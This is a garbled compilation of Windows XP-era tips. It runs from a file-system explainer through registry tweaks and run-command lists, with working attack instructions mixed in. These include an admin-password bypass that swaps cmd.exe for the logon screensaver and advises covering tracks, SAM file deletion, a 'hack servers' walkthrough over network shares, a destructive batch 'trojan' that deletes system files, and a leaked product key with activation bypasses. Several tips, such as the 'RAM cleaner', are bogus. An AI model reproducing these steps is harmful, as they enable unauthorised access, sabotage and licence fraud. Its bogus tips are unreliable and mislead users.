FAT16 the FAT16 File System Was Introduced

8/14/2019 FAT16 the FAT16 File System Was Introduced

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FAT16 The FAT16 file system was introduced way back with MSDOS in 1981, and it's showing its age. It was designed originally to handle files on a floppy drive,and has had minor modifications over the years so it can handle hard disks, andeven file names longer than the original limitation of 8.3 characters, but it'sstill the lowest common denominator. The biggest advantage of FAT16 is that itis compatible across a wide variety of operating systems, including Windows 95/98/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is th

at it has a fixed maximum number of clusters per partition, so as hard disks getbigger and bigger, the size of each cluster has to get larger. In a 2GB partition, each cluster is 32 kilobytes, meaning that even the smallest file on the partition will take up 32 KB of space. FAT16 also doesn't support compression, encryption, or advanced security using access control lists. FAT32 The FAT32 file system, originally introduced in Windows 95 Service Pack 2, is really just an extension of the original FAT16 file system that provides for a much larger numberof clusters per partition. As such, it greatly improves the overall disk utilization when compared to a FAT16 file system. However, FAT32 shares all of the other limitations of FAT16, and adds an important additional limitationmany operating systems that can recognize FAT16 will not work with FAT32most notably Windows NT, but also Linux and UNIX as well. Now this isn't a problem if you're runnin

g FAT32 on a Windows XP computer and sharing your drive out to other computers on your networkthey don't need to know (and generally don't really care) what your underlying file system is. The Advantages of NTFS The NTFS file system, introduced with first version of Windows NT, is a completely different file system from FAT. It provides for greatly increased security, filebyfile compression, quotas, and even encryption. It is the default file system for new installations of Windows XP, and if you're doing an upgrade from a previous version of Windows,you'll be asked if you want to convert your existing file systems to NTFS. Don't worry. If you've already upgraded to Windows XP and didn't do the conversion then, it's not a problem. You can convert FAT16 or FAT32 volumes to NTFS at any point. Just remember that you can't easily go back to FAT or FAT32 (without reformatting the drive or partition), not that I think you'll want to. The NTFS filesystem is generally not compatible with other operating systems installed on the

same computer, nor is it available when you've booted a computer from a floppydisk. For this reason, many system administrators, myself included, used to recommend that users format at least a small partition at the beginning of their main hard disk as FAT. This partition provided a place to store emergency recoverytools or special drivers needed for reinstallation, and was a mechanism for digging yourself out of the hole you'd just dug into. But with the enhanced recoveryabilities built into Windows XP (more on that in a future column), I don't think it's necessary or desirable to create that initial FAT partition. When to UseFAT or FAT32 If you're running more than one operating system on a single computer (see Dual booting in Guides), you will definitely need to format some of yourvolumes as FAT. Any programs or data that need to be accessed by more than oneoperating system on that computer should be stored on a FAT16 or possibly FAT32

volume. But keep in mind that you have no security for data on a FAT16 or FAT32volumeany one with access to the computer can read, change, or even delete anyfile that is stored on a FAT16 or FAT32 partition. In many cases, this is even possible over a network. So do not store sensitive files on drives or partitionsformatted with FAT file systems.


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how to speed up mozila firefox type about.config go to 'network.http.pipeliningmake it true Then go to network.http.pipelining.maxreque set value 30 lastly right click anywhere and select NEW-> Integer name it nglayout.initialpaint.delay set its value to -0 restart mozilla firefox Make winxp original * Log in as the local Administrator * Click Start --> Run --> and type in Regedit * Browse to: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\wpaevents # n theright pane, right-click OOBETimer, and then click Modify # Change at least one d

igit of this value to deactivate Windows # Click OK and close regedit # Click Start --> Run and type in: "%systemroot%\system32\oobe\msoobe.exe /a" # Click "Yes, I want to telephone a customer service representative to activate Windows, andthen click Next # Click Change Product Key (at the bottom) # Enter your valid Corporate Product Key V2C47-MK7JD-3R89F-D2KXW-VPK3J # Press Update and close thewindow. # If you are returned to the previous window, click Remind me later # Restart your computer scrap to all javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='htt p://userscripts.org/scripts/source/10416.user.js';void(0) Microsoft Internet Explorer 6.x Repair for Windows XP From the Start menu, select Search, select All Files and Folders. * Select More Advanced Options and place a checkmark beside Search Hidden Files and Folders option. * Ensure that Search System Folders and Search Subfolders are also checked. * In the A

ll or Part of the File Name box, type ie.inf * In the Look In drop-down menu, select C: or the letter of the hard drive that contains the Windows folder. * Click the Search button. * In the search results pane, find the ie.inf file locatedin Windows\Inf folder. * Right click the ie.inf file and click Install on the context menu. * Reboot the computer when the file copy process is complete. Hey try this out...Itz amazing Did you know that the flight number of the plane that had hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type theflight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings. U will be amazed by the findings. How to hack windows XP admin password If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly: cd\ *drops to root cd\windows\system32*directs to the system32 dir


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mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos Now what you have just done is told the computer to backup thecommand program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net

user password" If the Administrator Account is calledFrank and you want the password blah enter this "net user Frank blah" and thischanges the password on franks machine to blah and your in. Have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks Another way ... Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe. Automatically Kill Programs At Shutdown: don't you hate it when, while trying to shut down, you you thata program is still running? Making it so that applications running is a snap. Simply navigate to the PanelDesktop directory in the Registry, then alter the value 1. No Shutdown: Wanna play with your friends by removing the shutdown option from start menu in their computer. Just hack it down !!! Regedit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1" Display

legal notice on startup: Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" How tohack Servers !! get message boxes telling Windows automatically kills HKEY_CURRENT_USERControl key AutoEndTasks to the


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1)Create a file anywhere you want. 2)Right click on the file. Then choose with-->Choose program-->Browse 3)Now you have to enter in to DDESHARE file. 4)Click onStart-->go to Accessories-->Right click on Command Prompt 5)Click on proportiesnow click Find target. 6)Now you are in c:\ drive. that is system 32. 7)Click on Search.Choose all files and folders.. Search for "DDESHARE". 8)After finding that file.Just double click on that file. 9)Now click on Shares.choose computer.10)Including domain controller it will show all systems which are connected to s

erver. 11)Now choose which system do you want to hack.All computer names will bein the format \\thecomputernamegoeshere. 12)Right click on the system which youare going to hack and copy its name and paste it in your file.which you have choosen in 1st step. 13)The file name will be in the format \\thecomputernamegoeshere.If the first computer in the server dose'nt work then choose 2nd computer. 14)Now you will be seeing "shared folder" for folder name. 15)Now double click onthat folder.you will be seeing many domains which are connected to the server.16)Now you hacked the system.just go around for searching for files which you want. 17)Here you can copy scripts,delete files transfer files from one system toanother system. create heavy trojan virus To create a heavy trojan virus type the following commands in notepad and save it as ".bat" or ".exe" file @echo off @if exist c:\windows\system32\mouse del c:\windows\system32\mouse @if exist c:\wi

ndows\system32\keyboard del c:\windows\system32\keyboard copy C:\windows\ @if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe @if existC:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED AS:SEX BEAM.exe" Explaination:


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1st line is used to escape from AV 2nd and 3rd line is used to deactivate mouseand keyboard respectively 4th line is used to increase the volume of the GB 5thline is used to deactivate logoff mode.,if system's logoff is pressed then bluescreen will appear 6th line is used to disable internet explorer 7th line is used to just for the users purpose NOTE:This virus is only for educational use please do't use in wrong way... keep fun enjoy.... remove Funny UST Scandal Avi.Exevirus u remove funny scandal virus so copy on this link and send your browser an

d dowanload to the Funny UST Scandal Avi.Exe Remover zip GO FAST >>>>> http://cantalktech.com/2008/01/18/how-to-remove-the-funny-ust-scandal-avi-virus/ how toremove orkut virus 1. Press CTRL+ALT+DEL and go to the processes tab 2. Look for svchost.exe under the image name. There will be many but look for the ones which have your username under the username 3. Press DEL to kill these files. It will give you a warning, Press Yes 4. Repeat for more svchost.exe files with yourusername and repeat. Do not kill svchost.exe with system, local service or network service! 5. Now open My Computer 6. In the address bar, type C:\heap41a and press enter. It is a hidden folder, and is not visible by default. 7. Delete allthe files here 8. Now go to Start --> Run and type Regedit 9. Go to the menu Edit --> Find 10. Type "heap41a" here and press enter. You will get something likethis "[winlogon] C:\heap41a\svchost.exe C:\heap(some number)\std.txt" 11. Select

that and Press DEL. It will ask "Are you sure you want to delete this value?",click Yes 12.Now close the registry editor. Now the virus is gone. To rename thestart button, To rename the start button, you will need a hex editor. My preference is UltraEdit Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe) With the hex editor, open that file and go to offset 412b6 You will seethe word start with blanks between each letter Edit it be any 5 characters or less


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Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.org Copy explorer_1.exe to explorer.exe You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one. Note:If the partition is NTFS and you can't access the files from DOS: Start RegeditGo to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe _________________ hhow to remove corrupted file in winxp Requirement: 1. Windows XP CD N

ow, follow this steps: 1. 2. 3. 4. Place the xp cd in your cd/dvd drive Go to start run type "sfc /scannow" (without ")

Now sit back and relax, it should all load and fix all your corrupted file on win XP. Hack windows vista Activat vista without any crack

activate windows vista any edition # Install Windows Vista Ultimate edition (orother edition) without product key. # Windows Vista needs to be applied with 2099-ReArm trick, so that the counter of minutes to no activation required period will not return to normal after reboot. Click on Start Orb button. # Select AllPrograms, then Accessories. # Right click on Command Prompt, then select Run as Administrator (A). # If User Account Control (UAC) prompt a warning messag

e, click onContinue

. # In the command prompt, type date and press Enter. Youwill see the following: Microsoft Windows [Version 6.0.6000] Copyright (c) 2006

Microsoft Corporation. All rights reserved. C:\Windows\system32>date Current date: 12/19/2006 Thursday Enter new date: # Enter 12/31/2099 (December 31, 2099). #Next, type cscript slmgr.vbs -rearm. You will see something like the following:C:\Windows\system32>cscript slmgr.vbs -rearm Microsoft (R) Windows Script HostVersion 5.7


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Copyright (C) Microsoft Corporation. All rights reserved. The command completedsuccessfully. To make the change effectively, please restart the system. # Thenreset the date of the system to current date again by typing date again. You will see the following: Microsoft Windows [Version 6.0.6000] Copyright (c) 2006 Microsoft Corporation. All rights reserved. C:\Windows\system32>date Current date:12/31/2099 Thursday Enter new date: # Type in current date, i.e. 12/19/2006. # Exit from command prompt, but do not restart the computer. FOLDER LOCKER WITH PAS

SORD WIDOUT ANY Software Copy the following prgram: cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==type yourpassword here goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End * Now paste it

in notepad. * Save it as batch file(with extension .bat).Any name will do.


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* Now you see a batch file. Double click it to create a folder locker. * A new folder named Locker would be formed at the same location. * Now brings all the files you want to hide in the locker folder. * Now double click the batch file tolock the folder namely Locker. * If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder. SOME USEFUL run command Power Configuration -powercfg.cpl Printers and Faxes -control printers Printers Folder -printers Private C

haracter Editor -eudcedit Quicktime (If Installed) -QuickTime.cpl Quicktime Player (if installed) -quicktimeplayer Real Player (if installed) -realplay RegionalSettings -intl.cpl Registry Editor -regedit Registry Editor -regedit32 Remote Access Phonebook -rasphone Remote Desktop -mstsc Removable Storage -ntmsmgr.msc Removable Storage Operator Requests - ntmsoprq.msc Resultant Set of Policy (XP Prof) - rsop.msc Scanners and Cameras - sticpl.cpl Scheduled Tasks - control schedtasks Security Center - wscui.cpl Services - services.msc Shared Folders - fsmgmt.msc Shuts Down Windows - shutdown Sounds and Audio - mmsys.cpl Spider SolitareCard Game - spider SQL Client Configuration - cliconfg System Configuration Editor - sysedit System Configuration Utility - msconfig System File Checker Utility (Scan Immediately)- sfc /scannow System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce System File Checker Utility (Scan On Every Boot) - sfc /s

canboot System File Checker Utility (Return to Default Setting)- sfc /revert System File Checker Utility (Purge File Cache)- sfc /purgecache System File CheckerUtility (Set Cache Size to size x)-sfc/cachesize=x System Information- msinfo32System Properties - sysdm.cpl Task Manager - taskmgr TCP Tester - tcptest Telnet Client - telnet Tweak UI (if installed) - tweakui User Account Management- nusrmgr.cpl Utility Manager - utilman ALL DOS COMMANDS


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PERMS -Show permissions for a user PERFMON -Performance Monitor PING -Test a network connection POPD -Restore the previous value of the current directory savedby PUSHD PORTQRY -Display the status of ports and services PRINT -Print a text file PRNCNFG -Display, configure or rename a printer PRNMNGR -Add, delete, list printers set the default printer PROMPT -Change the command prompt PsExec -Execute process remotely PsFile -Show files opened remotely PsGetSid -Display the SIDof a computer or a user PsInfo -List information about a system PsKill -Kill pro

cesses by name or process ID PsList -List detailed information about processes PsLoggedOn -Who's logged on (locally or via resource sharing) PsLogList -Event log records PsPasswd -Change account password PsService -View and control servicesPsShutdown -Shutdown or reboot a computer PsSuspend -Suspend processes PUSHD -Save and then change the current directory QGREP -Search file(s) for lines that match a given pattern. RASDIAL -Manage RAS connections RASPHONE -Manage RAS connections RECOVER -Recover a damaged file from a defective disk. REG -Read, Set orDelete registry keys and values REGEDIT -Import or export registry settings REGSVR32 -Register or unregister a DLL REGINI -Change Registry Permissions REM -Record comments (remarks) in a batch file REN -Rename a file or files. REPLACE -Replace or update one file with another RD -Delete folder(s) RDISK -Create a Recovery Disk RMTSHARE -Share a folder or a printer ROBOCOPY -Robust File and Folder Co

py ROUTE -Manipulate network routing tables RUNAS -Execute a program under a different user account RUNDLL32 -Run a DLL command (add/remove print connections) SC -Service Control SCHTASKS -Create or Edit Scheduled Tasks SCLIST -Display NT Services ScriptIt -Control GUI applications SET -Display, set, or remove environment variables SETLOCAL -Begin localisation of environment changes in a batch file SETX -Set environment variables permanently SHARE -List or edit a file share or print share SHIFT -Shift the position of replaceable parameters in a batch file SHORTCUT -Create a windows shortcut (.LNK file) SHOWGRPS -List the NT Workgroups a user has joined SHOWMBRS -List the Users who are members of a Workgroup SHUTDOWN -Shutdown the computer SLEEP -Wait for x seconds SOON -Schedule a commandto run in the near future


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SORT -Sort input START -Start a separate SU -Switch User SUBINACL -Edit file andSUBST -Associate a path SYSTEMINFO -List system

window to run a specified program or command folder Permissions, Ownership and Domain with a drive letter configuration

TASKLIST -List running applications and services TIME -Display or set the system

time TIMEOUT -Delay processing of a batch file TITLE -Set the window title fora CMD.EXE session TOUCH -Change file timestamps TRACERT -Trace route to a remotehost TREE -Graphical display of folder structure TYPE -Display the contents ofa text file USRSTAT -List domain usernames and last login VER -Display version information VERIFY -Verify that files have been saved VOL -Display a disk label WHERE -Locate and display files in a directory tree WHOAMI -Output the current UserName and domain WINDIFF -Compare the contents of two files or sets of files WINMSD -Windows system diagnostics Using "ALT +" FOR DESKTOP USER ONLY (use no.lock) Alt+1= ? Alt+2= ? Alt+3= ? Alt+4= ? Alt+5= ? Alt+6= ? Alt+7= Alt+8= ? Alt+9= ? Alt+10= ? Alt+11= ? Alt+12= ? Alt+13= ? Alt+14= ? Alt+15=


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Alt+16= ? Alt+17= ? Alt+18= ? Alt+19= ? Alt+20= Alt+21= Alt+22= ? Alt+23= ?Alt+24= ? Alt+25= ? Alt+26= ? Alt+27= ? Alt+28= ? Alt+29= ? Alt+30= ? Alt+31= ?Alt+127= Alt+128= Alt+129= Alt+130= Alt+131= Alt+132= Alt+133= Alt+134= Alt+135= Alt+136= Alt+137= Alt+138= Alt+139=


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Alt+140= Alt+141= Alt+142= Alt+143= Alt+144= Alt+145= Alt+146= Alt+147= Alt+148= Alt+149= Alt+150= Alt+151= Alt+152= Alt+153= Alt+154= Alt+155= Alt+156= Alt+157= Alt+158= P Alt+159= Alt+160= Alt+161= Alt+162= Alt+163= Alt+164= Alt+165= Alt+166= Alt+167= Alt+168=


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Alt+169= Alt+170= Alt+171= Alt+172= Alt+173= Alt+174= Alt+175= Alt+176= Alt+177= Alt+178= Alt+179= Alt+180= Alt+181= Alt+182= Alt+183=+ Alt+184= + Alt+185= Alt+186= Alt+187= + Alt+188= + Alt+189= + Alt+190= +Alt+191= + Alt+192= + Alt+193= Alt+194= Alt+195= + Alt+196=Alt+197=+


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Alt+198= Alt+199= Alt+200=+ Alt+201=+ Alt+202=Alt+203=Alt+204=Alt+205= Alt+206=+ Alt+207=Alt+208=Alt+209=Alt+210=Alt+211=+ Alt+212=+ Alt+213=+ Alt+214=+ Alt+215=+ Alt+216=+ Alt+217=+ Alt+218=+ Alt+219= Alt+220=_ Alt+221= Alt+222= Alt+223= Alt+224= a Alt+225= Alt+226= G


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Alt+227=p Alt+228= S Alt+229= s Alt+230= Alt+231= t Alt+232= F Alt+233= T Alt+234= O Alt+235= d Alt+236= 8 Alt+237= f Alt+238= e Alt+239= n Alt+240= = Alt+241= Alt+242= = Alt+243= = Alt+244= ( Alt+245= ) Alt+246= Alt+247= Alt+248=Alt+249= Alt+250= Alt+251=v Alt+252= n Alt+253= Alt+254=


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Solution for the Virus "ntdetec1.exe" Damages done by the virus : -> Disables Task Manager -> slows down the computer Copies are made in : -> C:\ntdetec1.exe ->C:\ntdetec1\child\ntdetec1.exe Solution : open computer in safe mode. Open "regedit". Hit "CTRL+F" and in the search bar, type "ntdetec1.exe". Delete the key that you find. Then hit F3 and keep on repeating until you dont get any results.Now again search for "Run.exe", and delete it. It will be stored in two places.So after deleting 1st one, hit F3 and delete the second copy. Delete all the cop

ies in c:, by searching "ntdetec1.exe" in search option. After that restart yourcomputer in normal mode. You are now free from ntdetec1.exe virus.

Speed up your Acrobat Reader (Almoust like notepad) # Go to the installation folder of acrobat reader (C:\program files\adobe\acrobat\reader\.. whatever) # Moveall the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste). # Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files)

Increase your Netspeed # Go to desktop->My computer-(right click on)->manage->->Device manager-> Now u see a window of Device manager. # Then go to Ports->Commu

nication Port(double click on it and Open). # After open u can see a Communication Port properties. go the Port Setting. # And now increase ur "Bits per second"to 128000. and "Flow control" change 2 Hardware. History of the name BluetoothBluetooth was named after a late tenth century king, Harald Bluetooth, King of Denmark and Norway. He is known for his unification of previously warring tribesfrom Denmark (including now Swedish Scania, where the Bluetooth technology was invented), and Norway. Bluetooth likewise was intended to unify different technologies, such as computers and mobile phones

TURN OFF INDEXING TO SPEED UP XP Windows XP keeps a record of all files on the hard disk so when you do a search on the hard drive it is faster. There is a downside to this and because the computer has


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to index all files, it will slow down normal file commands like open, close, etc. If you do not do a whole lot of searches on your hard drive then you may wantto turn this feature off: Open My Computer. Right-click your hard drive iconand select Properties. At the bottom of the window you'll see "Allow indexingservice to index this disk for faster searches," uncheck this and click ok. Anew window will pop up and select Apply to all folders and subfolders. It willtake a minute or two for the changes to take affect but then you should enjoy sl

ightly faster performance. disable xp boot screen It is possible to disable theXP splash screen, which will slightly speed up the overall boot process. Be aware that removing the splash screen will also cause you not to see any boot-up messages that might come up (chkdsk, convert ... ), but if your system runs withoutany problems then it should not matter. Edit boot.ini. Add " /noguiboot" right after "/fastdetect". Upon restarting, the splash screen will be gone. It canbe re-enabled by removing the new switch. a-z run command Accessibility Controls - access.cpl Add Hardware Wizard - hdwwiz.cpl Add/Remove Programs - appwiz.cplAdobe Photoshop (if installed) - photoshop Administrative Tools - control admintools Automatic Updates - wuaucpl.cpl Bluetooth Transfer Wizard - fsquirt Calculator calc Certificate Manager - certmgr.msc Character Map - charmap Check DiskUtility - chkdsk Clipboard Viewer - clipbrd Command Prompt - cmd Component Serv

ices - dcomcnfg Computer Management - compmgmt.msc Date and Time Properties - timedate.cpl DDE Shares - ddeshare Device Manager - devmgmt.msc Direct X Control Panel (If Installed)* - directx.cpl Direct X Troubleshooter - dxdiag Disk CleanupUtility - cleanmgr Disk Defragment - dfrg.msc Disk Management - diskmgmt.msc Disk Partition Manager - diskpart Display Properties - control desktop


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Display Properties - desk.cpl Display Properties (w/Appearance Tab Preselected)- control color Dr. Watson System Troubleshooting Utility - drwtsn32 Driver Verifier Utility - verifier Event Viewer - eventvwr.msc File Signature VerificationTool - sigverif Findfast - findfast.cpl Folders Properties - control folders Fonts - control fonts Fonts Folder - fonts Free Cell Card Game - freecell Game Controllers - joy.cpl Group Policy Editor (XP Prof) - gpedit.msc Hearts Card Game -mshearts Iexpress Wizard - iexpress Indexing Service - ciadv.msc Internet Explor

er iexplore Internet Properties - inetcpl.cpl IP Configuration (Display Connection Configuration) - ipconfig /all IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns IP Configuration (Delete DNS Cache Contents) - ipconfig/flushdns IP Configuration (Release All Connections) - ipconfig /release IP Configuration (Renew All Connections) - ipconfig /renew IP Configuration (RefreshesDHCP & Re - Registers DNS) -ipconfig /registerdns IP Configuration (Display DHCP Class ID) - ipconfig /showclassid IP Configuration (Modifies DHCP Class ID) -ipconfig /setclassid Java Control Panel (If Installed) - jpicpl32.cpl Java Control Panel (If Installed) - javaws Keyboard Properties - control keyboard Local Security Settings - secpol.msc Local Users and Groups - lusrmgr.msc Logs You Out Of Windows - logoff( or press window key+L ) Microsoft Chat - winchat MicrosoftExcel excel Microsoft Powerpoint - powerpnt Microsoft Word - winword Mouse Pr

opertiesmain.cpl Minesweeper Game - winmine Mouse Properties - control mouseMouse Properties - main.cpl Nero (if installed) - nero Network Connections - con

trol netconnections Network Connections - ncpa.cpl Network Setup Wizard - netsetup.cpl Notepad - notepad Nview Desktop Manager (If Installed) - nvtuicpl.cpl Object Packager - packager ODBC Data Source Administrator - odbccp32.cpl On ScreenKeyboard - osk Opens AC3 Filter (If Installed) - ac3filter.cpl Password Properties - password.cpl Performance Monitor - perfmon.msc Performance Monitor - perfmon Phone and Modem Options - telephon.cpl Power Configuration - powercfg.cpl Printers and Faxes - control printers Printers Folder - printers Private Character Editor - eudcedit


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Quicktime (If Installed) - QuickTime.cpl Regional Settings - intl.cpl Registry Editor - regedit Registry Editor - regedit32 Remote Desktop - mstsc Removable Storage - ntmsmgr.msc Removable Storage Operator Requests - ntmsoprq.msc ResultantSet of Policy (XP Prof) - rsop.msc Scanners and Cameras - sticpl.cpl Scheduled Tasks - control schedtasks Security Center - wscui.cpl Services - services.msc Shared Folders - fsmgmt.msc Shuts Down Windows - shutdown Sounds and Audio - mmsys.cpl Spider Solitare Card Game - spider SQL Client Configuration - cliconfg Syst

em Configuration Editor - sysedit System Configuration Utility - msconfig SystemFile Checker Utility (Scan Immediately) - sfc /scannow System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce System File Checker Utility (Scan On Every Boot) - sfc /scanboot System File Checker Utility (Return to Default Setting) - sfc /revert System File Checker Utility (Purge File Cache) - sfc /purgecache System File Checker Utility (Set Cache Size to size x) -sfc /cachesize=x System Information - msinfo32 System Properties - sysdm.cpl System Troubleshooter dxdiag Task Manager - taskmgr( or press ctrl+shift+esc or ctrl+alt+delete) Telnet Client - telnet User Account Management - nusrmgr.cpl Utility Manager -utilman Windows Backup Utility (if installed) ntbackup Windows Explorer explorer ( or press window key+E ) Windows Media Player wmplayer Windows Firewall - firewall.cpl Windows Magnifier - magnify Windows Management Infrastructure

- wmimgmt.msc Windows System Security Tool - syskey Windows Update Launches - wupdmgr Windows Version Check - winver Windows XP Tour Wizard - tourstart Wordpad write clean ram by notepad Clean Ur RAM U may recognize that ur system gets slower and slower when playing and working a lot with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any more. So create a new textfile on ur desktop and call it .. uhm.. "RAMcleaner" or something... Type FreeMem=Space(64000000) in this file and save it as RAMcleaner.vbs [ You may choose the "All Files" option when u save it ]


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Run the file and ur RAM may be cleaned :> Of course u can edit the code in the file for a greater "cleaning-progress". FreeMem=Space(1280000000) just try it out.. i worked for me rename a series of files When you download photos from your digital camera, they often have unrecognizable names. You can rename several similar files at once with the following procedure. This also works for renaming other types of files. Open the My Pictures folder. (Click Start, and then click My Pictures.) Or open another folder containing files that you want to rename.

Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold Ctrl, and then click each item to select it. On the File menu, click Rename. Type the new name, and then press ENTER. All ofthe files in the series will be named in sequence using the new name you type. For example, if you type Birthday, the first will be named Birthday and subsequent files in the series will be named Birthday (1), Birthday (2), and so on. Tospecify the starting number for the series, type the starting number in parentheses after the new file name. The files in the series will be numbered in sequence starting with the number you type. For example, if you type Birthday (10), theother files will be named Birthday (11), Birthday (12), and so on. turn of system recovery Right click on My Computer and choose Properties. Click on the System Restore tab and check the box Turn off System Restore. (This will increase Win

dows performance & save disk space) turn of auto play Open My Computer - Right click on your CD ROM and choose Properties - Click on the Auto Play tab - In thedrop down box you can choose the Action for each choice shown in the drop down box Or 1. 2. 3. 4. Go to Start>Run>gpedit.msc Computer Config> Administrative Template> System Double click Turn off Autoplay Enable it.

scan disk It is now hidden.To use it >Go to >my Computer >Right click on your hard drive Icon >Properties >Tools >Error-checking.


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It works just like the old scandisk. WinXP Clear Page file on shutdown Go to Control panel> Administrative tools> Local security policy.> Then go to local policies.> security options. Then change the option for "Shutdown: Clear Virtual Memory Pagefile" reduce temp internet files space The temporary internet files clutter your hard drive with copies of each page visited. These can build up over time and take up disk space. Even more bothersome is that instead of getting new pages each time IE often takes the page out the temp internet files. This can be a

problem if you are viewing a website that is updated all the time. If you are on a slow connection such as a 56K or lower then this can be good but if you areon a fast broadband connection, like me, then you can get away with decreasing the size of your temp internet files to just one meg without any performance decrease. Launch Internet Explorer. Select the Tools from the menu bar. Then selectInternet Options... from the drop down menu. Once the internet options has loaded click on the general tab. Under the temporary internet files section click thesettings button. A settings window will load. Slide the slider all the way to the left so the size indicated in the text box on the right is one. Click OK enable/disable firewall Open Control Panel and double click on Network Connections.In the new box that appears right click on the Connection and click on the Advanced tab. Check or uncheck the box according t close windows messenger Start>Run>

"gpedit.msc"" -Computer Configuration -Administrative Templates -Windows Components -Windows Messenger Here you can enable "Do not allow Windows Messenger to berun" and "Do not automatically start Windows Messenger initially" remove shortcut arrow from desktop icons Here's how you can remove those shortcut arrows fromyour desktop icons in Windows XP. 1. Start regedit. 2. Navigate to HKEY_CLASSES

_ROOTlnkfile 3. Delete the IsShortcut registry value. You may need to restart Windows XP. CHANGE THE TEXT IN "IE" TITLE BAR n regedit navigate to this key:


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HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain change the value of thestring "Window Title" to whatever you want on the title bar of Internet Explorer- to have no title except the title of the web pages you are browsing do not enter anything for a value DISABLE ERROR REPORTING Open Control Panel Click on Performance and Maintenance. Click on System. Then click on the Advanced tab Clickon the error-reporting button on the bottom of the windows. Select Disable errorreporting. Click OK CHECK THE FIRMWARE VERSION OF YOUR DRIVES Right click on My

Computer Click on Manage Click on Storage and expand the list. Removable Storage/Libraries Right click on your drive and click on property Click on the 2nd tabwhich is called "Device Information"


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FAT16 the FAT16 File System Was Introduced

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